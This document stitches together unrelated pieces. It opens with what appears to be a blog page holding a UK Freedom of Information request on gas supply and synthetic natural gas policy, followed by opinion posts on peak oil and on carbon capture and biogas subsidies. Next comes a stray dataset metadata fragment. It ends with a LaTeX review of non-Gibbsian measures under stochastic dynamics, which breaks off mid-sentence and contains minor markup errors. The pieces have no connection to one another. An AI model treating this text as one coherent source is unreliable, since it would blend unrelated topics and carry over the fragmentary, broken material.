I researching the history of the development of the gas industry in the United Kingdom, and some of the parallel evolution of the industry in the United States of America and mainland Europe.
In looking at the period of the mid- to late- 1960s, and the British decision to transition from manufactured gas to Natural Gas supplies, I have been able to answer some of my questions, but not all of them, so far.
From a variety of sources, I have been able to determine that there were contingency plans to provide substitutes for Natural Gas, either to solve technical problems in the grid conversion away from town gas, or to compensate should North Sea Natural Gas production growth be sluggish, or demand growth higher than anticipated.
Technologies included the enriching of "lean" hydrogen-rich synthesis gas (reformed from a range of light hydrocarbons, by-products of the petroleum refining industry); Synthetic Natural Gas (SNG) and methane-"rich" gas making processes; and simple mixtures of light hydrocarbons with air.
In the National Archives Cmd/Cmnd/Command document 3438 "Fuel Policy. Presented to Parliament by the Minister of Power Nov 1967", I found discussion on how North Sea gas fields could best be exploited, and about expected depletion rates, and that this could promote further exploration and discovery.
In a range of books and papers of the time, I have found some discussion about options to increase imports of Natural Gas, either by the shipping of Liquified Natural Gas (LNG) or by pipeline from The Netherlands.
Current British policy in respect of Natural Gas supplies appears to rest on "pipeline diplomacy", ensuring imports through continued co-operation with partner supplier countries and international organisations.
I remain unclear about what official technological or structural strategy may exist to bridge the gap between depleting North Sea Natural Gas supplies and continued strong demand, in the event of failure of this policy.
It is clear from my research into early gas field development that depletion is inevitable, and that although some production can be restored with various techniques, that eventually wells become uneconomic, no matter what the size of the original gas field.
To my mind, it seems unthinkable that the depletion of the North Sea gas fields was unanticipated, and yet I have yet to find comprehensive policy statements that cover this eventuality and answer its needs.
Under the Freedom of Information Act (2000), I am requesting information to answer the following questions :-
1. At the time of European exploration for Natural Gas in the period 1948 to 1965, and the British conversion from manufactured gas to Natural Gas, in the period 1966 to 1977, what was HM Government's policy to compensate for the eventual depletion of the North Sea gas fields ?
2. What negotiations and agreements were made between HM Government and the nationalised gas industry between 1948 and 1986; and between HM Government and the privatised gas industry between 1986 and today regarding the projections of decline in gas production from the UK Continental Shelf, and any compensating strategy, such as the development of unconventional gas resources, such as shale gas ?
3. Is there any policy or strategy to restore the SNG (Synthetic Natural Gas) production capacity of the UK in the event of a longstanding crisis emerging, for example from a sharp rise in imported Natural Gas costs or geopolitical upheaval ?
4. Has HM Government any plan to acquire the Intellectual Property rights to SNG production technology, whether from British Gas/Centrica or any other private enterprise, especially for the slagging version of the Lurgi gasifier technology ?
5. Has HM Government any stated policy intention to launch new research and development into, or pilot demonstrations of, SNG ?
6. Does HM Government have any clearly-defined policy on the production and use of manufactured gas of any type ? If so, please can I know references for the documents ?
7. Does HM Government anticipate that manufactured gas production could need to increase in order to support the production of synthetic liquid vehicle fuels; and if so, which technologies are to be considered ?
Thank you for your attention to my request for information.
Academic Freedom Assets not Liabilities Be Prepared Big Society Change Management Conflict of Interest Corporate Pressure Dreamworld Economics Economic Implosion Emissions Impossible Energy Crunch Energy Denial Energy Revival Engineering Marvel Extreme Energy Fossilised Fuels Fuel Poverty Gamechanger Human Nurture Hydrocarbon Hegemony Libertarian Liberalism Mad Mad World Mass Propaganda Money Sings Nudge & Budge Oil Change Optimistic Generation Orwells Paradigm Shapeshifter Peak Coal Peak Energy Peak Natural Gas Peak Oil Petrolheads Policy Warfare Political Nightmare Pure Hollywood Realistic Models Resource Curse Shale Game Social Change Tarred Sands Technofix The Right Chemistry The Science of Communitagion Unconventional Foul Ungreen Development Vain Hope Wasted Resource Western Hedge
Peak Oil : Kitchen Burlesque
No Comments on Peak Oil : Kitchen Burlesque
An engineering buddy and I find ourselves in my kitchen, reading out loud from Jeremy Leggett's 2013 book "The Energy of Nations : Risk Blindness and the Road to Renaissance". The main topic of the work, I feel, is the failure of the energy sector and the political elites to develop a realistic plan for the future, and their blinkered adherence to clever arguments taken from failing and cracked narratives – such as the belief that unconventional fossil fuels, such as tar sands, can make up for declining conventional oil and gas production. It's also about compromise of the highest order in the most influential ranks. The vignettes recalling conversations with the high and mighty are pure comedy.
"It's very dramatic…"
"You can imagine it being taken to the West End theatres…"
"We should ask Ben Elton to take a look – adapt it for the stage…"
"It should really have costumes. Period costumes…Racy costumes…"
"Vaudeville ?"
"No…burlesque ! Imagine the ex-CEO of BP, John Browne, in a frou-frou tutu, slipping a lacy silk strap from his shoulder…What a Lord !"
"Do you think Jeremy Leggett would look good in a bodice ?"
Academic Freedom Assets not Liabilities Bioeffigy British Biogas Burning Money Carbon Capture Climate Change Conflict of Interest Corporate Pressure Cost Effective Design Matters Direction of Travel Disturbing Trends Dreamworld Economics Emissions Impossible Energy Change Engineering Marvel Extreme Energy Financiers of the Apocalypse Fossilised Fuels Gamechanger Gas Storage Geogingerneering Green Gas Green Investment Green Power Hydrocarbon Hegemony Hydrogen Economy Low Carbon Life Mad Mad World Marine Gas Mass Propaganda Methane Madness Methane Management Money Sings Mudslide National Energy National Power No Pressure Nuclear Nuisance Nuclear Shambles Nudge & Budge Orwells Paradigm Shapeshifter Petrolheads Policy Warfare Political Nightmare Public Relations Pure Hollywood Regulatory Ultimatum Renewable Gas Solar Sunrise Solution City Technofix Technological Fallacy Technological Sideshow Technomess The Myth of Innovation The Power of Intention Ungreen Development Vote Loser Wasted Resource Western Hedge Wind of Fortune Zero Net
Failing Narratives : Carbon Culprits
No Comments on Failing Narratives : Carbon Culprits
In the last few weeks I have attended a number of well-intentioned meetings on advances in the field of carbon dioxide emissions mitigation. My overall impression is that there are several failing narratives to be encountered if you make even the shallowest foray into the murky mix of politics and energy engineering.
As somebody rightly pointed out, no capitalist worth their share price is going to spend real money in the current economic environment on new kit, even if they have asset class status – so all advances will necessarily be driven by public subsidies – in fact, significant technological advance has only ever been accomplished by state support.
Disturbingly, free money is also being demanded to roll out decades-old low carbon energy technology – nuclear power, wind power, green gas, solar photovoltaics – so it seems to me the only way we will ever get appropriate levels of renewable energy deployment is by directed, positive public investment.
More to the point, we are now in an era where nobody at all is prepared to spend any serious money without a lucrative slap on the back, and reasons beyond reasons are being deployed to justify this position. For example, the gas-fired power plant operators make claims that the increase in wind power is threatening their profitability, so they are refusing to built new electricity generation capacity without generous handouts. This will be the Capacity Mechanism, and will keep gas power plants from being mothballed. Yes, there is data to support their complaint, but it does still seem like whinging and special pleading.
And the UK Government's drooling and desperate fixation with new nuclear power has thrown the European Commission into a tizzy about the fizzy promises of "strike price" guaranteed sales returns for the future atomic electricity generation.
But here, I want to contrast two other energy-polity dialogues – one for developing an invaluable energy resource, and the other about throwing money down a hole.
First, let's take the white elephant. Royal Dutch Shell has for many years been lobbying for state financial support to pump carbon dioxide down holes in the ground. Various oil and gas industry engineers have been selling this idea to governments, federal and sub-federal for decades, and even acted as consultants to the Civil Society process on emissions control – you just need to read the United Nations' IPCC Climate Change Assessment Report and Special Report output to detect the filigree of a trace of geoengineering fingers scratching their meaning into global intention. Let us take your nasty, noxious carbon dioxide, they whisper suggestively, and push it down a hole, out of sight and out of accounting mind, but don't forget to slip us a huge cheque for doing so. You know, they add, we could even do it cost-effectively, by producing more oil and gas from emptying wells, resulting from pumping the carbon dioxide into them. Enhanced Oil Recovery – or EOR – would of course mean that some of the carbon dioxide pumped underground would in effect come out again in the form of the flue gas from the combustion of new fossil fuels, but anyway…
And governments love being seen to be doing something, anything, really, about climate change, as long as it's not too complicated, and involves big players who should be trustworthy. So, you get the Peterhead project picking up a fat cheque for a trial of Carbon Capture and Storage (CCS) in Scotland, and the sidestep hint that if Scotland decides to become independent, this project money could be lost…But this project doesn't involve much of anything that is really new. The power station that will be used is a liability that ought to be closing now, really, according to some. And the trial will only last for ten years. There will be no EOR – at least – not in the public statements, but this plan could lead the way.
All of this is like pushing a fat kid up a shiny slide. Once Government take their greasy Treasury hands off the project, the whole narrative will fail, falling to an ignominious muddy end. This perhaps explains the underlying desperation of many – CCS is the only major engineering response to emissions that many people can think of – because they cannot imagine burning less fossil fuels. So this wobbling effigy has to be kept on the top of the pedestal. And so I have enjoyed two identical Shell presentations on the theme of the Peterhead project in as many weeks. CCS must be obeyed.
But, all the same, it's big money. And glaring yellow and red photo opps. You can't miss it. And then, at the other end of the scale of subsidies, is biogas. With currently low production volumes, and complexities attached to its utilisation, anaerobically digesting wastes of all kinds and capturing the gas for use as a fuel, is a kind of token technology to many, only justified because methane is a much stronger greenhouse gas than carbon dioxide, so it needs to be burned.
The subsidy arrangements for many renewable energy technologies are in flux. Subsidies for green gas will be reconsidered and reformulated in April, and will probably experience a degression – a hand taken off the tiller of driving energy change.
At an evening biogas briefing given by Rushlight this week, I could almost smell a whiff of despair and disappointment in the levels of official support for green gas. It was freely admitted that not all the planned projects around the country will see completion, not only because of the prevailing economic climate, but because of the vagaries of feedstock availability, and the complexity of gas cleaning regulations.
There was light in the tunnel, though, even if the end had not been reached – a new Quality Protocol for upgrading biogas to biomethane, for injection into the gas grid, has been established. You won't find it on the official UK Goverment website, apparently, as it has fallen through the cracks of the rebranding to gov.uk, but here it is, and it's from the Environment Agency, so it's official :-
https://www.greengas.org.uk/pdf/biomethane-qp.pdf
https://www.r-e-a.net/news/rea-welcomes-environment-agencys-updated-anaerobic-digestion-quality-protocol
https://adbiogas.co.uk/2014/01/30/biomethane-qp-could-boost-renewable-gas-to-grid-market/
https://adbiogas.co.uk/2014/01/30/biomethane-quality-protocol-published/
Here's some background :-
https://www.environment-agency.gov.uk/aboutus/wfo/epow/124111.aspx
To get some picture of the mess that British green energy policy is in, all you need do is take a glance at Germany and Denmark, where green gas is considered the "third leg of the stool", stabilising renewable energy supply with easily-stored low carbon gas, to balance out the peaks and troughs in wind power and solar power provision.
Green gas should not be considered a nice-to-have minor addition to the solutions portfolio in my view. The potential to de-carbonise the energy gas supply is huge, and the UK are missing a trick here – the big money is being ladled onto the "incumbents" – the big energy companies who want to carry on burning fossil fuels but sweep their emissions under the North Sea salt cavern carpet with CCS, whilst the beer change is being reluctantly handed out as a guilt offering to people seeking genuinely low carbon energy production.
Seriously – where the exoplanet are we at ? | {
"redpajama_set_name": "RedPajamaCommonCrawl"
} | 8,275 |
\section{Introduction}
Thirty years ago some unexpected
mathematical difficulties in rigorously implementing many of the generally
used real-space Renormalization Group transformations as maps on a
space of Hamiltonians were discovered in \cite{gripea78,gripea79}.
In \cite{vEFS_JSP} these difficulties were explained by observing
that under a renormalization group map, Gibbs measures were mapped on
non-Gibbsian measures, making a map at the level of Hamiltonians
(interactions, coupling constants) ill defined.
This point of view led to further
papers covering the area of non-Gibbsianness and
Renorm\-alization--Group peculiarities
\citep{vEFS94,vEFS_JSP,vEbud,lordis95,veldis95,vEF99,fer,fer1,flr,mprf,klr,vEfhr,k1,k2,halken95,ken, leny}
Afterwards, other occasions where non-Gibbsian measures appear were found.
In particular interacting particle systems (such as stochastic Ising models)
in the transient regime were found to display a mathematically
very similar behavior \citep{vEfhr}. The main observation here is that
time evolution provides a continuum of stochastic maps, which are susceptible
to a similar analysis. In fact, if the evolution is an infinite-temperature
one (independent spin flips), then one can view it as a family of single-site
stochastic renormalization maps; and these had been already considered,
however, with a different interpretation, by Griffiths and Pearce.
Interactions can be controlled by cluster expansion techniques,
cf. also \cite{maenet}, when either time or interaction strength is small
enough.
This was probably the first contribution on the subject which
started at Eurandom.
Further developments were based on Dobrushin's programme: can one consider
non-Gibbsian measures as Gibbs measures in some more generalized sense, and
how much of the Gibbsian structure, e.g. the variational principle,
survives under such more general notions?. Moreover,
the occurrence of non-Gibbsianness in disordered systems has been addressed,
as well as various other examples.
In 2003, the first meeting exclusively devoted to non-Gibbsian issues was organized,
at Eurandom. One of the highlights of this meeting was the participation of Robert Israel,
who probably was the first person to clearly identify non-Gibbsianness
as the source of the Griffiths-Pearce problems \citep{isr79}. In his contribution
to the proceedings, he gave the proof (which he had announced earlier,
although it was not published before)
that in the topological sense Gibbs measures are exceptional, and that
thus non-Gibbsianness is a generic property \citep{isr92}.
The paper is organized as follows. We start with a brief description of
Gibbs states. In following sections we review the recent work
on preservation and loss of Gibbsianity under stochastic dynamics
and variational characterization of generalized Gibbs states.
We end the paper with a list of open problems.
\section{Gibbs measures and quasilocality}
In this section we will describe some definitions and facts we will need about
the theory of Gibbs measures. For a more extensive treatment we refer to
\cite{geo88} or \cite{vEFS_JSP}.
We will consider spin systems on a lattice $\mathbb Z^d$, where in most cases we will
take a single-spin space $\Omega_{0}$ which is finite. The configuration space
of the whole system is $\Omega =\Omega_{0}^{\mathbb Z^d}$. Configurations will be
denoted by small Greek letters such as $\sigma$ or $\omega$, and
their coordinates at lattice site $i$ are
denoted by $\sigma_i$ or $\omega_i$. A regular (absolutely summable)
interaction $\Phi$ is a
collection of functions $\Phi(\Lambda,\cdot)$ on $\Omega_{0}^\Lambda$,
indexed by finite sets $\Lambda\subset
\mathbb Z^d$, which is
translation invariant and satisfies:
$$
\sum_{0 \in \Lambda} \ ||\Phi(\Lambda,\cdot)||_{\infty} < \infty,
$$
where $||\Phi(\Lambda,\cdot)||_{\infty}=\sup_{\sigma}|\Phi(\Lambda,\sigma)|$.
Formally Hamiltonians are given by
$$
H^{\Phi} = \sum_{\Lambda\subset \mathbb Z^d} \ \Phi(\Lambda,\cdot)
$$
Under the above regularity condition these type of expressions make
mathematical sense if the
sum is taken over all subsets having non-empty intersections with a finite
volume $\Lambda$. For regular interactions one can define Gibbs measures as
probability measures on $\Omega$ having conditional probabilities which are
described in terms of appropriate Boltzmann-Gibbs factors:
$$
\mu(\sigma_{\Lambda}\,|\,\omega_{\Lambda^{c}})
=\frac 1{Z_\Lambda^{\omega_{\Lambda^c}}}
\exp\Bigl( - \sum_{V\cap \Lambda\ne \varnothing}
\Phi(V,\sigma_{\Lambda}\omega_{\Lambda^{c}}) \Bigr)
$$
for each volume $\Lambda$, $\mu$-almost every boundary condition
$\omega_{\Lambda^{c}}$ outside $\Lambda$ and each configuration
$\sigma_{\Lambda}$ in $\Lambda$. The expression on the right-hand
side will be denoted by
$\gamma_\Lambda(\sigma_{\Lambda}\,|\,\omega_{\Lambda^{c}})$; the collection of
$\gamma=\{\gamma_\Lambda\}$ is the \emph{Gibbsian specification}
for the potential $\Phi$.
As long as $\Omega_{0}$ is compact, there always exists at least one
Gibbs measure for every regular interaction; the existence of more than one
Gibbs measure is one definition of the occurrence of a first-order phase
transition of some sort. Thus the map from interactions to measures is one to
at-least-one. Every Gibbs measure has the property that (for one of
its versions) its conditional probabilities are continuous functions of the
boundary condition $\omega_{\Lambda^{c}}$, in the product topology.
It is a non-trivial fact that this
continuity, which goes by the name ``quasilocality'' or ``almost
Markovianness'', in fact characterizes the Gibbs measures \citep{sul,koz}, once
one knows that all the conditional probabilities are bounded away from zero
(that is, the measure is {\em nonnull} or has the {\em finite-energy}
property). In some examples it turns out to be possible to check this
continuity (quasilocality) property quite explicitly.
If a measure is a Gibbs measure for a regular interaction, this interaction
is essentially uniquely determined. Thus the map from measures to interactions
is one to at-most-one.
A second characterization of Gibbs measures uses the variational principle
expressing that in equilibrium a system minimizes its free energy. A
probabilistic formulation of this fact naturally occurs in terms of the theory
of large deviations. The (third level) large deviation rate function is up to a
constant and a sign equal to a free energy density.
To be precise, let $\mu $ be a translation invariant Gibbs measure, and
let $\nu $ be an arbitrary translation invariant measure.
Then the relative entropy density $h( \nu |\mu )$ can be defined as the limit:
$$
h(\nu |\mu ) = \lim_{\Lambda \rightarrow \mathbb Z^d} \ {1 \over |\Lambda |}
\ H_{\Lambda}(\nu |\mu)
$$
where
$$
H_{\Lambda}(\nu |\mu)= \int \log
\left(\frac
{d\nu_{\Lambda}}
{d\mu_{\Lambda}}\right)\,\, d\nu_{\Lambda}
$$
and $\mu_\Lambda$ and $\nu_\Lambda$ are the restrictions of $\mu$ and $\nu$
to $\Omega_0^\Lambda$.
It has the property that $h( \nu |\mu )= 0$ if and only if the measure $\nu$
is a Gibbs measure for the same interaction as the base measure $\mu$.
We can use this result in applications if we know for example that a known
measure $\nu$ cannot be a Gibbs
measure for the same interaction as some measure $\mu$ we want to investigate.
For example, if $\nu$ is a
point measure, or if it is the case that $\nu$ is a product measure and $\mu$
is not, then we can conclude from the statement: $h( \nu |\mu )= 0$, that $\mu$
lacks the Gibbs property.
For another method of proving that a measure is non-Gibbsian because of having
the ``wrong'' type of (in this case too small) large deviation probabilities,
see \cite{sch87}.
\section{Results on non-Gibbsian measures}
As was mentioned before, non-equilibrium models, both in the steady state
and in the transient regime have been considered. After the
papers \cite{vEfhr} and \cite{maenet} on Glauber dynamics for discrete spins,
extensions were developed in \citet{kr, lenred, derroe, KO,
vEntRus} to more general spins and types of dynamics.
Also, joint quenched measures of disordered systems have been shown sometimes
to be non-Gibbsian \citep{vEKM,vEMSS,k1,k2, vEK}, affecting the
Morita approach to
disordered systems \citep[see][]{mor,ku}. In this last case, the peculiarity can be
so strong -- and it actually is in the 3-dimensional random-field Ising
model-- as to violate the variational principle. This means in particular
that the (weakly Gibbsian) interactions belonging to the plus state
and the minus state
are different, despite their relative entropy density being zero, see
section \ref{varprin} for further discussion.
Non-Gibbsianness here means that the quenched measure cannot be written as
an annealed measure, that is a Gibbs measure on the joint space of spins
and disorder variables for some ``grand potential'', such as Morita proposed.
The Eurandom contribution \cite{klr}
is especially relevant here.
The non-Gibbsian character of the various measures considered comes
often as an unwelcome surprise. A description in terms of an
effective interaction
is often convenient, and
even seems essential for some applications. Thus, the fact that such a
description is
not available can be a severe drawback.
\bigskip
The fact that the constraints which act as points of discontinuity
often involve configurations which are very untypical for the measure under
consideration, suggested a
notion of {\em almost} Gibbsian or {\em weakly} Gibbsian measures. These are
measures whose
conditional probabilities are either continuous only on a set of full measure
or can be written in terms of an interaction which is summable only
on a set of full measure. Intuitively, the difference is that
in one case the
``good'' configurations can shield off {\em all} influences from infinitely
far away, and in the other case only {\em almost all} influences.
The weakly Gibbsian
approach was first suggested by Dobrushin to various people; his own version
was published only later \cite{dob95,dobsh1,dobsh2}. An early definition of
almost Gibbsianness
appeared in print in \cite{lorwin92}, see also \cite{ferpfi97,maevel95, maevel97,mamore, vEV,klr, mprf}
for further developments. Some examples of
measures which are at the worst almost
Gibbsian measures in this sense are decimated or projected Gibbs
measures in an external field, random-cluster measures on regular lattices,
and low-temperature fuzzy Potts measures.
Another source of non-Gibbsian examples, which was developed at Eurandom, is Random Walk in Random Scenery \citep{HSW}.
\section{Preservation, loss, and recovery of Gibbsianity under stochastic dynamics}
Consider a lattice spin system, initially in a Gibbs state $\mu^{\Phi}$ corresponding
to a translation invariant interaction $\Phi$. This initial state is
chosen to be the starting measure of a Markovian dynamics which
has as a reversible measure a Gibbs measure $\mu^{\Psi}$ with interaction $\Psi\not=\Phi$.
The dynamics considered in \cite{vEfhr}
is high-temperature Glauber dynamics, which is informally
described as follows: at each lattice site $x\in\mathbb Z^d$
the spin $\ensuremath{\sigma}_x$ flips at rate
$
c(x,\ensuremath{\sigma})= \exp \left(-\frac12\left(H_\Psi (\ensuremath{\sigma}^x)-H_\Psi (\ensuremath{\sigma})\right)\right)
$
where $\ensuremath{\sigma}^x$ denotes the spin configuration $\in \{-1,1\}^{\mathbb Z^d}$ obtained
by changing the sign of the spin at $x$ and leaving all other spins
unchanged, and where $H_\Psi$ denotes the (formal) Hamiltonian corresponding
to $\Psi$, i.e.,
\[
H_\Psi (\ensuremath{\sigma}^x)-H_\Psi (\ensuremath{\sigma}) =\sum_{A\ni x} \left(\Psi (A,\ensuremath{\sigma}^x) -\Psi(A,\ensuremath{\sigma})\right)
\]
By high-temperature we mean that we choose the interaction $\Psi$ to be
small and (for technical reasons) of finite range. Small is in the sense
of the norm
\[
|| \Psi ||_\alpha= \sum_{A\ni 0 } e^{\alpha |A|} ||\Psi (A,\cdot)||_\infty
\]
for some $\alpha >0$. This implies
in particular that the reversible Gibbs measure $\mu^{\Psi}$ is unique, and
that from any initial measure $\nu$, the distribution $\nu_t$ at time $t>0$ converges exponentially fast to
$\mu^{\Psi}$.
A good and intuition-guiding example to keep in mind is when
$\Phi= \Phi_{\text{Ising}}$ is the potential
of the Ising model with magnetic field $h$, i.e.,
$
\aligned
\Phi (\{x\}, \ensuremath{\sigma}) &= h\ensuremath{\sigma}_x,\\
\Phi( \{x,y\}, \ensuremath{\sigma})&= \beta \ensuremath{\sigma}_x\ensuremath{\sigma}_y
\endaligned
$
for $ x,y$ nearest neighbors in $\mathbb Z^d$, and $\Phi (A,\ensuremath{\sigma})=0$ for all
other subsets $A\subset \mathbb Z^d$.
The basic question addressed in \cite{vEfhr} is:
{\bf ``is the measure at time $t>0$, $\mu^\Phi_t$,
a Gibbs measure?''} In other words, is $\mu^\Phi_t= \mu^{\Phi_t}$ for some
absolutely summable interaction $\Phi_t$. The $\bee1$-norm of $\Phi_t$
\[
||\Phi_t ||= \sum_{A\ni 0} ||\Phi_t (A,\cdot)||_\infty
\]
can then be considered as a time-dependent inverse temperature.
In the case $\Psi=0$, i.e., ``infinite-temperature''
dynamics,
the limiting Gibbs measure $\mu^{\Psi}$ is a product measure, and
the dynamics then simply
consists of spins that independently (for different lattice sites)
flip at the event-times of
a mean-one Poisson process. Intuitively speaking, this
corresponds to ``heating up'' a system which starts at a finite
temperature. The question of Gibbsianness then corresponds to
the question whether
we can still associate an intermediate time-dependent ``effective temperature''
to the non-equilibrium transient states,
and how this temperature evolves. In this language, loss of Gibbsianness then corresponds to ``loss of temperature''.
To study this basic question, one considers the distribution of
the so-called double-layer system consisting
of the starting configurations, together with the
configurations at time $t$.
This is a Gibbs measure with formal Hamiltonian
\begin{equation}\label{formham}
H_t(\ensuremath{\sigma},\eta) = H_\Phi (\ensuremath{\sigma}) - \log p_t(\ensuremath{\sigma},\eta)
\end{equation}
In particular, the term $\log p_t(\ensuremath{\sigma},\eta)$ is formal, and,
except at infinite temperature, a cluster expansion
(requiring $\Psi$ to be small in a strong norm)
is
used \citep{maenet} in order to see that it has the required
structure of a sum of local terms. The Hamiltonian of the double-layer system plays a fundamental role in the detection of
essential points of discontinuity of the conditional
probabilities of the measure $\mu^\Phi_t$. Roughly speaking
if $\eta$ is such that the
``random field'' system with $\eta$ the realization of the random field,
thus having Hamiltonian $H_t(\cdot,\eta)$, has a phase transition,
then $\eta$ is a good candidate point of discontinuity (a so-called bad configuration), while if
there is no phase transition, then $\eta$ is a point of continuity (a so-called good configuration).
Natural candidates for a bad configuration in the context of the Ising model
(as a starting measure) are configurations $\eta$ which give rise
to a ``neutral'' field in \eqref{formham}, such as the alternating
configuration, or a ``typical'' random configuration, chosen
from a symmetric product measure.
The results of \cite{vEfhr}
can then be summarized as follows.
\begin{enumerate}
\item {\bf High-temperature region: Gibbsianness.}
For $\Psi$ and $\Phi$ finite range and small, the measure
$\mu^\Phi_t$ is Gibbs for all $t\ge 0$.
\item {\bf Low-temperature unbiased region: loss of Gibbsianness.}
$\Psi$ is small, has zero single-site part, and $\Phi$ is the interaction of the Ising
model with zero magnetic field at inverse temperature $\beta$.
We can choose any Gibbs measure for $\Phi$ to be the starting
measure.
Then there exists $\beta_0$ such that for all
$\beta>\beta_0$ there exist $t_0\le t_1$ such that
for $t<t_0$, $\mu^\Phi_t$ is Gibbs and for
$t>t_1$, $\mu^\Phi_t$ is not Gibbs.
\item {\bf Low-temperature biased region:
loss and recovery of Gibbsianness.}
$\Psi$ is small, has zero single-site part, and $\Phi$ is the interaction of the Ising
model with small magnetic field $h>0$ at inverse temperature $\beta$.
Then there exists $\beta_0$ such that for all
$\beta>\beta_0$ there exist $t_0\le t_1<t_2\le t_3$ such that
for $t<t_0$, $\mu^\Phi_t$ is Gibbs, for
$t_1<t<t_2$, $\mu^\Phi_t$ is not Gibbs (loss of Gibbsianness), and for
$t>t_3$ is Gibbs again (recovery).
\end{enumerate}
It is believed that the transitions in item 2 and 3 are sharp
(i.e., $t_0=t_1$ and $t_2=t_3$) but this has not been proved, except
in the context of mean-field models (cf.\ below).
After \cite{vEfhr} there have been several further and new developments,
of which we mention the following.
\begin{enumerate}
\item {\bf Universality of short-time conservation of Gibbsianness.}
In \cite{lenred} it is proved that for arbitrary local
dynamics (including e.g.\ Kawasaki dynamics or mixtures of
Glauber and Kawasaki) and arbitrary initial Gibbs measure corresponding
to a finite-range potential, for short times the measure
remains Gibbs. The reason is that for short times,
the system consists of a ``sea'' (in the percolation sense)
of unflipped spins and isolated islands of spins where
one or more flips happened. Technically speaking, this intuition
can be made into a proof of Gibbsianness via a combination of
cluster
expansion with the Girsanov formula.
\item {\bf Interacting diffusion processes at high temperature.} In \cite{derroe} weakly interacting diffusions
are considered, and a starting measure that is high-temperature
Gibbs. In that context, via a cluster expansion technique,
Gibbsianness at all times is proved.
\item {\bf Independent diffusions starting at high and low temperatures.}
In \cite{kr} independent diffusions are considered
starting from a particular Gaussian model which can be mapped
to a discrete spin system. Here loss without recovery of Gibbsianness
is proved.
\item {\bf $n$-vector models with interacting
spin-diffusions.} In \cite{KO} and \cite{vEntRus}
it was shown that for $n$-vector models
under a diffusive single-spin
evolution the measure remains Gibbs for short time.
If, moreover, the starting measure is at high temperature,
then the time-evolved measure will remain Gibbs forever.
These conclusions remain true, if one adds a small interaction
to the dynamics.
For the zero-field
plane rotor model in two or more dimensions, started at low temperature, and with infinite-temperature evolution,
it is shown in \cite{vEntRus} that the Gibbs property is lost after some finite
time, but possibly recovered after some larger time.
In $d=3$ no recovery takes place.
\item {\bf Mean-field systems with infinite-temperature dynamics.}
In \cite{kl} the Curie-Weiss model evolved via independent
spin flips is considered. In particular it is shown there that
the transitions Gibbs-non-Gibbs are sharp, and that there
is a region of parameters where the ``bad'' configurations are typical
(of measure one)
for the time-evolved measure and a region where they are untypical
(i.e., of measure zero).
\end{enumerate}
\section{Variational principle}\label{varprin
The second part of the so-called Dobrushin's restoration programme asks for
the extension of classical results for Gibbs states (e.g., the variational principle) to the classes of generalized Gibbsian states.
Similarly, stochastic dynamics (see preceding section) or
deterministic and random transformations of Gibbs states might produce
non-Gibbsian states. Is it possible to recover a variational
principle for the transformations of Gibbs states?
\subsection{Generalized Gibbs states.}
The classical variational principle for Gibbs measures states
that if $\mu$ is a translation invariant Gibbs measure on $\Omega_0^{\mathbb Z^d}$
for a potential $\Phi$, and $\nu$ is another translation-invariant measure
with $h(\nu|\mu)=0$, then
\begin{enumerate}
\item[(a)] {\bf Specification-dependent formulation:} $\nu$ is consistent with the Gibbs specification $\gamma^{\Phi}$;
\item[(b)] {\bf Specification-independent formulation:}
$\nu$ is a Gibbs measure for $\Phi$.
\end{enumerate}
In general, $h(\nu|\mu)=0$, then, according to \cite{follmer}, $\mu$ and $\nu$
have the same local characteristics:
\begin{equation}\label{lochar}
\nu( \sigma_0|\sigma_{\mathbb Z^d\setminus\{0\}})=
\mu( \sigma_0|\sigma_{\mathbb Z^d\setminus\{0\}})
\end{equation}
for $\nu$-almost all $\sigma$. One has to take into account, that the
left-hand side is defined $\nu$-a.s., and the right hand side is defined
$\mu$-a.s. Hence, if $\nu$ and $\mu$ are two ergodic measures (and hence
singular), the interpretation of (\ref{lochar}) without further assumptions
is problematic. For example, there are measures $\mu$ such that $h(\nu|\mu)=0$
for all $\nu$. A natural assumption is that $\nu$ is concentrated
on a set of continuity points for the conditional probabilities of $\mu$.
The notion of concentration must be made explicit.
Any measure admits infinitely many (consistent) specifications. For a Gibbs measure
there is a unique {\bf quasi-local} or {\bf continuous} specification,
hence the specification which is uniquely defined everywhere, and which is
the specification of choice. For a non-Gibbsian measure we cannot
construct a quasi-local specification, and simply must choose some specification
as a reference.
Naturally, a good specification is the one close to quasi-local specifications,
i.e., the specification with a large set of continuity points.
A measure $\mu$ is called {\bf almost Gibbs}, if there exists a specification
$\gamma$ such that $\mu$ is consistent with $\gamma$ (denoted by $\mu\in\mathcal G(\gamma)$, and the set $\Omega_\gamma$ of continuity points of $\gamma$ has $\mu$-measure 1. For an almost Gibbs measure $\mu$ this specification $\gamma$
is the natural reference specification.
In \cite{flr} it was shown that if $\mu$ is an almost Gibbs
measure for specification $\gamma$, and $\gamma$ is \emph{monotonicity
preserving}, then $h(\nu|\mu)=0$ implies that $\nu\in\mathcal G(\gamma)$.
In \cite{klr}, the strong monotonicity assumption was substituted
by the requirement that $\nu$ is concentrated on
a set of continuity points of $\gamma$: $\nu(\Omega_\gamma)=1$.
If $\gamma$
is a specification and $\mu\in \mathcal G(\gamma)$, define a set
$$
\tilde\Omega_\gamma =\left\{\omega: \mu(\omega_\Lambda|
\omega_{[-n,n]^d\setminus\Lambda} )\to \gamma_\Lambda(\omega_\Lambda|
\omega_{\mathbb Z^d\setminus\Lambda})\text{ as } n\to\infty \text{ for all
finite }\Lambda\right\}.
$$
Since $\mu$ is consistent with $\gamma$, one has $\mu(\tilde\Omega_\gamma)=1$.
Moreover, if $h(\nu|\mu)=0$ and $\nu(\tilde\Omega_\gamma)=1$, then $\nu\in\mathcal G(\gamma)$ as well \citep{vEV}.
If $\mu$ is an almost Gibbs measure for specification $\gamma$ and
$\nu(\Omega_\gamma)=1$, then $\nu(\tilde \Omega_\gamma)=1$ as well, and
hence the result of \cite{vEV} can be viewed as an extension of
the corresponding result in \cite{klr}.
Nevertheless, despite the positive results mentioned above,
a specification-dependent formulation of the variational principle
has its limitations, which were identified in \cite{klr}.
Relying on a previous work on disordered systems \cite{k1, k2},
\cite{klr} provides an example of two weakly Gibbs measures
$\mu^{+}$ and $\mu^{-}$ with natural specifications $\gamma^+$ and
$\gamma^-$, respectively, such that
$
h(\mu^+|\mu^-)=h(\mu^-|\mu^+)=0$,
but
$$
\mu^+ \not\in \mathcal G(\gamma^-),\quad \mu^-\not\in \mathcal G(\gamma^+).
$$
For a recent analysis of how far one can set up the formalism, based on specifications, see \cite{Mah}.
\subsection{Transformations of Gibbs states.}
Suppose $\mu$ is a Gibbs measure on $\Omega_0^{\mathbb Z^d}$ for
potential $\Phi$. There is a number of ways the state space
